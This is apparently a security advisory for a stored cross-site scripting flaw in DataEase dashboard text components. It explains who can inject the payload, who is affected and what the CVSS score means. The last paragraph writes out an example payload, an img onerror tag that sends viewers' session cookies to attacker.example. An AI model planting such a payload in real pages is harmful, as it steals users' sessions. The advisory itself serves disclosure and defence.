DataEase EUVD-2026-42098

Exploitation requires an authenticated DataEase account with sufficient permission to edit dashboard component data. This is the primary limiting factor - fully unauthenticated external attackers cannot inject payloads directly. Once injected, the payload executes passively in the browser of any user who views the affected dashboard, with no required interaction beyond loading the page (UI:P). Shared-link visitors who are not themselves authenticated to DataEase are also affected as victims. Exploitation is therefore bounded on the injection side by editor-level access but unbounded on the victim side across all dashboard viewers. Non-default configurations (e.g., shared links disabled, edit permissions tightly restricted) materially reduce impact scope.

The CVSS 4.0 score of 5.1 (Medium) accurately reflects the constrained attack surface. PR:L confirms that exploitation requires a legitimately authenticated user with dashboard edit privileges, limiting the threat to insider threats or accounts compromised through credential theft. However, the stored nature of the payload and the UI:P requirement create a passive, scalable impact: a single injection persists indefinitely and fires for every subsequent viewer without further attacker involvement. The dual impact on both vulnerable-system (VC:L/VI:L) and subsequent-system (SC:L/SI:L) metrics captures the cross-user scope change characteristic of stored XSS. The exposure of shared-link visitors - who may be entirely unauthenticated externally - meaningfully expands the victim pool beyond internal users. No EPSS score was provided; no CISA KEV listing exists; no confirmed POC was identified. Real-world priority is moderate: organizations running DataEase with external shared-link features or multiple editors represent a higher-risk deployment profile and should treat this as an urgent patch.

An authenticated DataEase user with dashboard editor access inserts a payload such as <img src=x onerror="fetch('https://attacker.example/c?d='+document.cookie)"> into a dashboard text component and saves it. Any subsequent viewer - including colleagues with authenticated sessions or external recipients of a shared dashboard link - triggers the payload on page load, silently exfiltrating their session cookie or performing browser-side actions in their context. No further attacker interaction is required after the initial injection.